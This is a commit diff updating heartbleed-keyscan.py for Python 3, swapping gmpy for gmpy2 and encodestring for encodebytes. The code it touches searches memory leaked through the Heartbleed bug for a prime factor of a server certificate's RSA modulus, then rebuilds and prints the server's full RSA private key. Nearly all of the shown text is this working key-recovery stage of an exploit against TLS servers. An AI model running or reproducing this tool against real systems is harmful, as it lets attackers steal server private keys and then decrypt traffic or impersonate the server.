Updated keyscan.py because Python 3.x changed base64 encodestring

Author: covecredit

heartbleed-keyscan.py

@@ -8,7 +8,7 @@
 """  
 from __future__ import print_function
 import sys, struct, subprocess, binascii, re, base64
-import gmpy 
+import gmpy2
 from pyasn1.codec.der import encoder
 from pyasn1.type.univ import *
 
@@ -45,21 +45,21 @@ def main(cert_path, data_path):
     mod
     if p != 0 and p != 1 and p != mod and mod % p == 0:
       sys.stdout.write(chr(27) + '[%dG'%(1) + chr(27) + '[0K')
-      q = gmpy.divexact(mod,p)
+      q = gmpy2.divexact(mod,p)
       print('%s Offset 0x%x:\nq = %s\np = %d\n'%(data_path, i, p, q))
-      n = gmpy.mpz(mod)
-      q2 = gmpy.mpz(p)
-      e = gmpy.mpz(65537)
-      p2 = gmpy.mpz(q)
+      n = gmpy2.mpz(mod)
+      q2 = gmpy2.mpz(p)
+      e = gmpy2.mpz(65537)
+      p2 = gmpy2.mpz(q)
       phi = (p2-1) * (q2-1)
-      d = gmpy.invert(e, phi)
+      d = gmpy2.invert(e, phi)
       dp = d % (p2 - 1)
       dq = d % (q2 - 1)
-      qinv = gmpy.invert(q2, p2)
+      qinv = gmpy2.invert(q2, p2)
       seq = Sequence()
       for x in [0, mod, e, d, p2, q2, dp, dq, qinv]:
         seq.setComponentByPosition (len (seq), Integer (x))
-      print("\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n"%base64.encodestring(encoder.encode(seq)).decode('ascii'))
+      print("\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n"%base64.encodebytes(encoder.encode(seq)).decode('ascii'))
       sys.exit(0)
   sys.stdout.write(chr(27) + '[%dG'%(1) + chr(27) + '[0K')